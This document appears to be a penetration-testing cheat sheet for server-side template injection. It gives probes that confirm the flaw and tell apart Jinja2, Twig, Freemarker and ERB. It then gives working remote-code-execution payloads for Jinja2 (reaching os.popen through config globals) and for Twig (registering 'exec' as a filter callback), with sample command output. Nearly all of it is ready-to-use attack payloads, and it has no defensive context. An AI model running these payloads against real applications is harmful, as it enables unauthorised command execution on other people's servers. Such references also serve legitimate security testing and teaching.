SERVER-SIDE TEMPLATE INJECTION (SSTI)

Test for SSTI

If 49 appears = SSTI exists — Try in every input field

{{7*7}}
${7*7}
#{7*7}
<%= 7*7 %>
Example Output
Input: {{7*7}}

Page displays: 49
(SSTI CONFIRMED - template engine is executing code)

{{7*'7'}} = 7777777 -> Jinja2
{{7*'7'}} = 49 -> Twig

Identify template engine

Different engines, different payloads — Guides your exploit

{{7*'7'}} -> 7777777 = Jinja2
{{7*'7'}} -> 49 = Twig
Example Output
{{7*7}} = 49 on page
{{7*'7'}} = 7777777 -> Jinja2 (Python)
{{7*'7'}} = 49 -> Twig (PHP)
${7*7} = 49 -> Freemarker (Java)
<%= 7*7 %> = 49 -> ERB (Ruby)

Jinja2 RCE (Python)

Python/Flask apps — Jinja2 is very common

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Example Output
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Output: uid=33(www-data) gid=33(www-data)
(RCE via Jinja2 SSTI)

Twig RCE (PHP)

PHP/Symfony apps — Twig template injection

{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
Example Output
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}

Output: uid=33(www-data) gid=33(www-data)
(RCE via Twig SSTI in PHP/Symfony apps)